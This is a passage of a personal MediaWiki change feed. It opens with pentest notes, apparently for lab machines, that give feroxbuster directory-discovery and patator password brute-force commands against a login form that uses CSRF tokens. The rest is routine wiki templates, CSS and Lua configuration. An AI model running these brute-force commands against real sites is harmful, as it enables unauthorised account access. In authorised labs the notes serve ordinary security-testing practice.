# &amp;lt;code&amp;gt;SecLists/Discovery/Web-Content/big.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;fish&amp;quot;&amp;gt;feroxbuster --url http://$HOST:$PORT \&lt;br /&gt;
  --wordlist=(cat $WORDLISTS | sort -u | psub) \&lt;br /&gt;
  -o machines/$MACHINE/feroxbuster.log -C 404&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;cracking&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Cracking =&lt;br /&gt;
&lt;br /&gt;
Use patator for complex pw cracking, esp. with csrf tokens:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;fish&amp;quot;&amp;gt;patator.py \&lt;br /&gt;
    http_fuzz \&lt;br /&gt;
    url=http://$HOST:$PORT/$PATH \&lt;br /&gt;
    method=POST \&lt;br /&gt;
    accept_cookie=1 \&lt;br /&gt;
    before_urls=http://$HOST:$PORT/$BEFORE_PATH \&lt;br /&gt;
    # Example&lt;br /&gt;
    before_egrep=&#039;_N1_:&amp;lt;input name=&amp;quot;__RequestVerificationToken&amp;quot; type=&amp;quot;hidden&amp;quot; value=&amp;quot;(\S+)&amp;quot; \/&amp;gt;&#039; \&lt;br /&gt;
    body=&#039;userNameOrEmail=FILE0&amp;amp;password=FILE1&amp;amp;rememberMe=false&amp;amp;__RequestVerificationToken=_N1_&#039; \&lt;br /&gt;
    # Concat several files&lt;br /&gt;
    0=(echo &#039;administrator&lt;br /&gt;
james&#039; | psub) \&lt;br /&gt;
    1=SecLists/Passwords/probable-v2-top1575.txt \&lt;br /&gt;
    # Ignore if these results come up&lt;br /&gt;
    -x ignore:fgrep=&#039;The username or e-mail or password provided is incorrect&#039; -l log&lt;br /&gt;
    -x ignore:fgrep=&#039;Internal Server Error&#039; -l log&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:CC_BY_4.0/doc&amp;diff=76</id>
		<title>Template:CC BY 4.0/doc</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:CC_BY_4.0/doc&amp;diff=76"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Documentation subpage}}&lt;br /&gt;
&amp;lt;!-- Categories go at the bottom of this page and interwikis go in Wikidata. --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Usage ==&lt;br /&gt;
To provide attribution use &#039;&#039;&#039;&amp;lt;nowiki&amp;gt;{{Cc-by-4.0|Attribution details}}&amp;lt;/nowiki&amp;gt;&#039;&#039;&#039;. Those who reproduce the work must attribute it in the manner specified by the author or licensor (as the parameter &amp;quot;Attribution details&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
:&#039;&#039;Other Creative Commons templates are available at &#039;&#039;&#039;[[Wikipedia:Image copyright tags]]&#039;&#039;&#039;. Please be sure to use the right one.&#039;&#039;&lt;br /&gt;
&amp;lt;includeonly&amp;gt;{{Sandbox other||&amp;lt;!-- CATEGORIES AND INTERWIKIS HERE, THANKS --&amp;gt;&lt;br /&gt;
[[Category:Creative Commons copyright templates]]&lt;br /&gt;
&lt;br /&gt;
}}&amp;lt;/includeonly&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Message_box/imbox.css&amp;diff=74</id>
		<title>Module:Message box/imbox.css</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Message_box/imbox.css&amp;diff=74"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* {{pp|small=y}} */&lt;br /&gt;
.imbox {&lt;br /&gt;
	margin: 4px 0;&lt;br /&gt;
	border: 3px solid #36c;    /* Default &amp;quot;notice&amp;quot; blue */&lt;br /&gt;
	background-color: var(--background-color-interactive-subtle, #f8f9fa); &lt;br /&gt;
	box-sizing: border-box;&lt;br /&gt;
	overflow-x: hidden;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* For imboxes inside imbox-text cells. */&lt;br /&gt;
.imbox .mbox-text .imbox {&lt;br /&gt;
	margin: 0 -0.6em; /* 1 - 0.6 = 0.4em left/right. */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-speedy {&lt;br /&gt;
	border: 3px solid #b32424;    /* Red */&lt;br /&gt;
	background-color: #fee7e6;    /* Pink */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-delete {&lt;br /&gt;
	border: 3px solid #b32424;    /* Red */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-content {&lt;br /&gt;
	border: 3px solid #f28500;    /* Orange */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-style {&lt;br /&gt;
	border: 3px solid #fc3;       /* Yellow */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-move {&lt;br /&gt;
	border: 3px solid #9932cc;    /* Purple */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-protection {&lt;br /&gt;
	border: 3px solid #a2a9b1;    /* Gray-gold */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-license {&lt;br /&gt;
	border: 3px solid #88a;       /* Dark gray */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox-featured {&lt;br /&gt;
	border: 3px solid #cba135;    /* Brown-gold */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox .mbox-text {&lt;br /&gt;
	padding: 0.35em 1em;&lt;br /&gt;
	flex: 1 1 100%;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.imbox .mbox-image,&lt;br /&gt;
.imbox .mbox-imageright {&lt;br /&gt;
	padding: 4px 2px;&lt;br /&gt;
	text-align: center;&lt;br /&gt;
	flex: none;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* keep synced with each other type of message box as this isn&#039;t qualified */&lt;br /&gt;
.mbox-invalid-type {&lt;br /&gt;
	text-align: center;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
@media (min-width: 480px) {&lt;br /&gt;
	.imbox:not(.mbox-with-below),&lt;br /&gt;
	.imbox .mbox-flex {&lt;br /&gt;
		display: flex;&lt;br /&gt;
		align-items: center;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	.imbox .mbox-image {&lt;br /&gt;
		/* @noflip */&lt;br /&gt;
		padding-left: 1em;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	.imbox .mbox-imageright {&lt;br /&gt;
		/* @noflip */&lt;br /&gt;
		padding-right: 1em;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
@media (min-width: 640px) {&lt;br /&gt;
	.imbox {&lt;br /&gt;
		margin: 4px 10%;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
@media screen {&lt;br /&gt;
    html.skin-theme-clientpref-night .imbox-speedy {&lt;br /&gt;
		background-color: #310402;    /* Dark red, same hue/saturation as light */&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
@media screen and (prefers-color-scheme: dark) {&lt;br /&gt;
	html.skin-theme-clientpref-os .imbox-speedy {&lt;br /&gt;
		background-color: #310402; /* Dark red, same hue/saturation as light */&lt;br /&gt;
	}&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Free_media&amp;diff=72</id>
		<title>Template:Free media</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Free_media&amp;diff=72"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{file other &amp;lt;!-- Only categorize when on file (image) pages. --&amp;gt;&lt;br /&gt;
| [[Category:All free media|{{PAGENAME}}]]&lt;br /&gt;
}}&amp;lt;noinclude&amp;gt;&lt;br /&gt;
{{Documentation}}&lt;br /&gt;
&amp;lt;!-- Add categories and interwikis to the /doc subpage, not here! --&amp;gt;&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Documentation_subpage&amp;diff=70</id>
		<title>Template:Documentation subpage</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Documentation_subpage&amp;diff=70"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;includeonly&amp;gt;&amp;lt;!--&lt;br /&gt;
 --&amp;gt;{{#ifeq:{{lc:{{SUBPAGENAME}}}} |{{{override|doc}}}&lt;br /&gt;
     | &amp;lt;!--(this template has been transcluded on a /doc or /{{{override}}} page)--&amp;gt;&lt;br /&gt;
&amp;lt;/includeonly&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
      --&amp;gt;{{#ifeq:{{{doc-notice|show}}} |show&lt;br /&gt;
          | {{Mbox&lt;br /&gt;
             | type = notice&lt;br /&gt;
             | style = margin-bottom:1.0em;&lt;br /&gt;
             | image = [[File:Edit-copy green.svg|40px|alt=icon]]&lt;br /&gt;
             | text =&lt;br /&gt;
{{strong|This is a [[Wikipedia:Template documentation|documentation subpage]]}} for {{terminate sentence|{{{1|[[:{{SUBJECTSPACE}}:{{BASEPAGENAME}}]]}}}}}&amp;lt;br /&amp;gt;It may contain usage information, [[Wikipedia:Categorization|categories]] and other content that is not part of the original {{#if:{{{text2|}}} |{{{text2}}} |{{#if:{{{text1|}}} |{{{text1}}} |{{#ifeq:{{SUBJECTSPACE}} |{{ns:User}} |{{lc:{{SUBJECTSPACE}}}} template page |{{#if:{{SUBJECTSPACE}} |{{lc:{{SUBJECTSPACE}}}} page|article}}}}}}}}. &lt;br /&gt;
            }}&lt;br /&gt;
         }}&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
      --&amp;gt;{{DEFAULTSORT:{{{defaultsort|{{PAGENAME}}}}}}}&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
      --&amp;gt;{{#if:{{{nocat|}}}{{{inhibit|}}}|&amp;lt;!--(don&#039;t categorize)--&amp;gt;&lt;br /&gt;
          |&amp;lt;includeonly&amp;gt;&amp;lt;!--&lt;br /&gt;
               --&amp;gt;{{#ifexist:{{NAMESPACE}}:{{BASEPAGENAME}}&lt;br /&gt;
                   | [[Category:{{#switch:{{SUBJECTSPACE}} |Template=Template |Module=Module |User=User |#default=Wikipedia}} documentation pages]]&lt;br /&gt;
                   | [[Category:Documentation subpages without corresponding pages]]&lt;br /&gt;
                  }}&amp;lt;!--&lt;br /&gt;
           --&amp;gt;&amp;lt;/includeonly&amp;gt;&lt;br /&gt;
         }}&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
(completing initial #ifeq: at start of template:)&lt;br /&gt;
--&amp;gt;&amp;lt;includeonly&amp;gt;&lt;br /&gt;
     | &amp;lt;!--(this template has not been transcluded on a /doc or /{{{override}}} page)--&amp;gt;&lt;br /&gt;
    }}&amp;lt;!--&lt;br /&gt;
--&amp;gt;&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;{{Documentation}}&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Sandbox_other&amp;diff=68</id>
		<title>Template:Sandbox other</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Sandbox_other&amp;diff=68"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;onlyinclude&amp;gt;{{safesubst:&amp;lt;noinclude/&amp;gt;#if:{{safesubst:&amp;lt;noinclude/&amp;gt;#ifeq:{{safesubst:&amp;lt;noinclude/&amp;gt;#invoke:String|sublength|s={{safesubst:&amp;lt;noinclude/&amp;gt;SUBPAGENAME}}|i=0|len=7}}|sandbox|1}}{{safesubst:&amp;lt;noinclude/&amp;gt;#ifeq:{{safesubst:&amp;lt;noinclude/&amp;gt;SUBPAGENAME}}|doc|1}}{{safesubst:&amp;lt;noinclude/&amp;gt;#invoke:String|match|{{safesubst:&amp;lt;noinclude/&amp;gt;PAGENAME}}|/sandbox/styles.css$|plain=false|nomatch=}}|{{{1|}}}|{{{2|}}}}}&amp;lt;/onlyinclude&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;{{documentation}}&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Template:Image_other&amp;diff=66</id>
		<title>Template:Image other</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Template:Image_other&amp;diff=66"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#redirect [[Template:File other]]&lt;br /&gt;
{{R from move}}&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Documentation/styles.css&amp;diff=64</id>
		<title>Module:Documentation/styles.css</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Documentation/styles.css&amp;diff=64"/>
		<updated>2026-01-05T07:41:51Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* {{pp|small=yes}} */&lt;br /&gt;
.documentation,&lt;br /&gt;
.documentation-metadata {&lt;br /&gt;
	border: 1px solid var( --border-color-base, #a2a9b1 );&lt;br /&gt;
	background-color: #ecfcf4; color:inherit;&lt;br /&gt;
	clear: both;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation {&lt;br /&gt;
	margin: 1em 0 0 0;&lt;br /&gt;
	padding: 1em;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation-metadata {&lt;br /&gt;
	margin: 0.2em 0; /* same margin left-right as .documentation */&lt;br /&gt;
    font-style: italic;&lt;br /&gt;
    padding: 0.4em 1em; /* same padding left-right as .documentation */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation-startbox {&lt;br /&gt;
	padding-bottom: 3px;&lt;br /&gt;
	border-bottom: 1px solid var( --border-color-base, #a2a9b1 );&lt;br /&gt;
	margin-bottom: 1ex;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation-heading {&lt;br /&gt;
	font-weight: bold;&lt;br /&gt;
	font-size: 125%;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation-clear { /* Don&#039;t want things to stick out where they shouldn&#039;t. */&lt;br /&gt;
	clear: both;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
.documentation-toolbar {&lt;br /&gt;
	font-style: normal;&lt;br /&gt;
	font-size: 85%;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@media screen {&lt;br /&gt;
    html.skin-theme-clientpref-night .documentation,&lt;br /&gt;
	html.skin-theme-clientpref-night .documentation-metadata {&lt;br /&gt;
	    background-color: #0b1e1c; color:inherit;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
@media screen and ( prefers-color-scheme: dark ) {&lt;br /&gt;
    html.skin-theme-clientpref-os .documentation,&lt;br /&gt;
    html.skin-theme-clientpref-os .documentation-metadata {&lt;br /&gt;
        background-color: #0b1e1c; color:inherit;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Documentation/config&amp;diff=62</id>
		<title>Module:Documentation/config</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Documentation/config&amp;diff=62"/>
		<updated>2026-01-05T07:39:57Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------&lt;br /&gt;
--&lt;br /&gt;
--                               Configuration for Module:Documentation&lt;br /&gt;
--&lt;br /&gt;
-- Here you can set the values of the parameters and messages used in Module:Documentation to&lt;br /&gt;
-- localise it to your wiki and your language. Unless specified otherwise, values given here&lt;br /&gt;
-- should be string values.&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local cfg = {} -- Do not edit this line.&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Protection template configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;protection-reason-edit&#039;]&lt;br /&gt;
-- The protection reason for edit-protected templates to pass to&lt;br /&gt;
-- [[Module:Protection banner]].&lt;br /&gt;
cfg[&#039;protection-reason-edit&#039;] = &#039;template&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Sandbox notice configuration&lt;br /&gt;
--&lt;br /&gt;
-- On sandbox pages the module can display a template notifying users that the current page is a&lt;br /&gt;
-- sandbox, and the location of test cases pages, etc. The module decides whether the page is a&lt;br /&gt;
-- sandbox or not based on the value of cfg[&#039;sandbox-subpage&#039;]. The following settings configure the&lt;br /&gt;
-- messages that the notices contains.&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
--]]&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-notice-image&#039;]&lt;br /&gt;
-- The image displayed in the sandbox notice.&lt;br /&gt;
cfg[&#039;sandbox-notice-image&#039;] = &#039;[[File:Edit In Sandbox Icon - Color.svg|50px|alt=|link=]]&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;sandbox-notice-pagetype-template&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-pagetype-module&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-pagetype-other&#039;]&lt;br /&gt;
-- The page type of the sandbox page. The message that is displayed depends on the current subject&lt;br /&gt;
-- namespace. This message is used in either cfg[&#039;sandbox-notice-blurb&#039;] or&lt;br /&gt;
-- cfg[&#039;sandbox-notice-diff-blurb&#039;].&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;sandbox-notice-pagetype-template&#039;] = &#039;[[Wikipedia:Template test cases|template sandbox]] page&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-pagetype-module&#039;] = &#039;[[Wikipedia:Template test cases|module sandbox]] page&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-pagetype-other&#039;] = &#039;sandbox page&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;sandbox-notice-blurb&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-diff-blurb&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-diff-display&#039;]&lt;br /&gt;
-- Either cfg[&#039;sandbox-notice-blurb&#039;] or cfg[&#039;sandbox-notice-diff-blurb&#039;] is the opening sentence&lt;br /&gt;
-- of the sandbox notice. The latter has a diff link, but the former does not. $1 is the page&lt;br /&gt;
-- type, which is either cfg[&#039;sandbox-notice-pagetype-template&#039;],&lt;br /&gt;
-- cfg[&#039;sandbox-notice-pagetype-module&#039;] or cfg[&#039;sandbox-notice-pagetype-other&#039;] depending what&lt;br /&gt;
-- namespace we are in. $2 is a link to the main template page, and $3 is a diff link between&lt;br /&gt;
-- the sandbox and the main template. The display value of the diff link is set by &lt;br /&gt;
-- cfg[&#039;sandbox-notice-compare-link-display&#039;].&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;sandbox-notice-blurb&#039;] = &#039;This is the $1 for $2.&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-diff-blurb&#039;] = &#039;This is the $1 for $2 ($3).&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-compare-link-display&#039;] = &#039;diff&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-blurb&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-link-display&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-run-blurb&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-run-link-display&#039;]&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-blurb&#039;] is a sentence notifying the user that there is a test cases page&lt;br /&gt;
-- corresponding to this sandbox that they can edit. $1 is a link to the test cases page.&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-link-display&#039;] is the display value for that link.&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-run-blurb&#039;] is a sentence notifying the user that there is a test cases page&lt;br /&gt;
-- corresponding to this sandbox that they can edit, along with a link to run it. $1 is a link to the test&lt;br /&gt;
-- cases page, and $2 is a link to the page to run it.&lt;br /&gt;
-- cfg[&#039;sandbox-notice-testcases-run-link-display&#039;] is the display value for the link to run the test&lt;br /&gt;
-- cases.&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;sandbox-notice-testcases-blurb&#039;] = &#039;See also the companion subpage for $1.&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-testcases-link-display&#039;] = &#039;test cases&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-testcases-run-blurb&#039;] = &#039;See also the companion subpage for $1 ($2).&#039;&lt;br /&gt;
cfg[&#039;sandbox-notice-testcases-run-link-display&#039;] = &#039;run&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;sandbox-category&#039;] - A category to add to all template sandboxes.&lt;br /&gt;
-- cfg[&#039;module-sandbox-category&#039;] - A category to add to all module sandboxes.&lt;br /&gt;
-- cfg[&#039;module-sandbox-category&#039;] - A category to add to all sandboxe not in templates or modules.&lt;br /&gt;
cfg[&#039;sandbox-category&#039;] = &#039;Template sandboxes&#039;&lt;br /&gt;
cfg[&#039;module-sandbox-category&#039;] = &#039;Module sandboxes&#039;&lt;br /&gt;
cfg[&#039;other-sandbox-category&#039;] = &#039;Sandboxes outside of template or module namespace&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Start box configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;documentation-icon-wikitext&#039;]&lt;br /&gt;
-- The wikitext for the icon shown at the top of the template.&lt;br /&gt;
cfg[&#039;documentation-icon-wikitext&#039;] = &#039;[[File:Test Template Info-Icon - Version (2).svg|50px|link=|alt=]]&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;template-namespace-heading&#039;]&lt;br /&gt;
-- The heading shown in the template namespace.&lt;br /&gt;
cfg[&#039;template-namespace-heading&#039;] = &#039;Template documentation&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;module-namespace-heading&#039;]&lt;br /&gt;
-- The heading shown in the module namespace.&lt;br /&gt;
cfg[&#039;module-namespace-heading&#039;] = &#039;Module documentation&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;file-namespace-heading&#039;]&lt;br /&gt;
-- The heading shown in the file namespace.&lt;br /&gt;
cfg[&#039;file-namespace-heading&#039;] = &#039;Summary&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;other-namespaces-heading&#039;]&lt;br /&gt;
-- The heading shown in other namespaces.&lt;br /&gt;
cfg[&#039;other-namespaces-heading&#039;] = &#039;Documentation&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;view-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;view&amp;quot; links.&lt;br /&gt;
cfg[&#039;view-link-display&#039;] = &#039;view&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;edit-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;edit&amp;quot; links.&lt;br /&gt;
cfg[&#039;edit-link-display&#039;] = &#039;edit&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;history-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;history&amp;quot; links.&lt;br /&gt;
cfg[&#039;history-link-display&#039;] = &#039;history&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;purge-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;purge&amp;quot; links.&lt;br /&gt;
cfg[&#039;purge-link-display&#039;] = &#039;purge&#039;&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;create-link-display&#039;]&lt;br /&gt;
-- The text to display for &amp;quot;create&amp;quot; links.&lt;br /&gt;
cfg[&#039;create-link-display&#039;] = &#039;create&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Link box (end box) configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- cfg[&#039;transcluded-from-blurb&#039;]&lt;br /&gt;
-- Notice displayed when the docs are transcluded from another page. $1 is a wikilink to that page.&lt;br /&gt;
cfg[&#039;transcluded-from-blurb&#039;] = &#039;The above [[Wikipedia:Template documentation|documentation]] is [[Help:Transclusion|transcluded]] from $1.&#039;&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;create-module-doc-blurb&#039;]&lt;br /&gt;
-- Notice displayed in the module namespace when the documentation subpage does not exist.&lt;br /&gt;
-- $1 is a link to create the documentation page with the preload cfg[&#039;module-preload&#039;] and the&lt;br /&gt;
-- display cfg[&#039;create-link-display&#039;].&lt;br /&gt;
--]]&lt;br /&gt;
cfg[&#039;create-module-doc-blurb&#039;] = &#039;You might want to $1 a documentation page for this [[Wikipedia:Lua|Scribunto module]].&#039;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
-- Experiment blurb configuration&lt;br /&gt;
----------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- cfg[&#039;experiment-blurb-template&#039;]&lt;br /&gt;
-- cfg[&#039;experiment-blurb-module&#039;]&lt;br /&gt;
-- The experiment blurb is the text inviting editors to experiment in sandbox and test cases pages.&lt;br /&gt;
-- It is only shown in the template and module namespaces. With the default English settings, it&lt;br /&gt;
-- might look like this:&lt;br /&gt;
--&lt;br /&gt;
-- Editors can experiment in this template&#039;s sandbox (edit | diff) and testcases (edit) pages.&lt;br /&gt;
--&lt;br /&gt;
-- In this example, &amp;quot;sandbox&amp;quot;, &amp;quot;edit&amp;quot;, &amp;quot;diff&amp;quot;, &amp;quot;testcases&amp;quot;, and &amp;quot;edit&amp;quot; would all be links.&lt;br /&gt;
--&lt;br /&gt;
-- There are two versions, cfg[&#039;experiment-blurb-template&#039;] and cfg[&#039;experiment-blurb-module&#039;], depending&lt;br /&gt;
-- on what namespace we are in.&lt;br /&gt;
-- &lt;br /&gt;
-- Parameters:&lt;br /&gt;
--&lt;br /&gt;
-- $1 is a link to the sandbox page. If the sandbox exists, it is in the following format:&lt;br /&gt;
--&lt;br /&gt;
--     cfg[&#039;sandbox-link-display&#039;] (cfg[&#039;sandbox-edit-link-display&#039;] | cfg[&#039;compare-link-display&#039;])&lt;br /&gt;
-- &lt;br /&gt;
-- If the sandbox doesn&#039;t exist, it is in the format:&lt;br /&gt;
--&lt;br /&gt;
--     cfg[&#039;sandbox-link-display&#039;] (cfg[&#039;sandbox-create-link-display&#039;] | cfg[&#039;mirror-link-display&#039;])&lt;br /&gt;
-- &lt;br /&gt;
-- The link for cfg[&#039;sandbox-create-link-display&#039;] link preloads the page with cfg[&#039;template-sandbox-preload&#039;]&lt;br /&gt;
-- or cfg[&#039;module-sandbox-preload&#039;], depending on the current namespace. The link for cfg[&#039;mirror-link-display&#039;]&lt;br /&gt;
-- loads a default edit summary of cfg[&#039;mirror-edit-summary&#039;].&lt;br /&gt;
--&lt;br /&gt;
-- $2 is a link to the test cases page. If the test cases page exists, it is in the following format:&lt;br /&gt;
--&lt;br /&gt;
--     cfg[&#039;testcases-link-display&#039;] (cfg[&#039;testcases-edit-link-display&#039;] | cfg[&#039;testcases-run-link-display&#039;])&lt;br /&gt;
--&lt;br /&gt;
-- If the test cases page doesn&#039;t exist, it is in the format:&lt;br /&gt;
-- &lt;br /&gt;
--     cfg[&#039;testcases-link-display&#039;] (cfg[&#039;testcases-create-link-display&#039;])&lt;br /&gt;
--&lt;br /&gt;
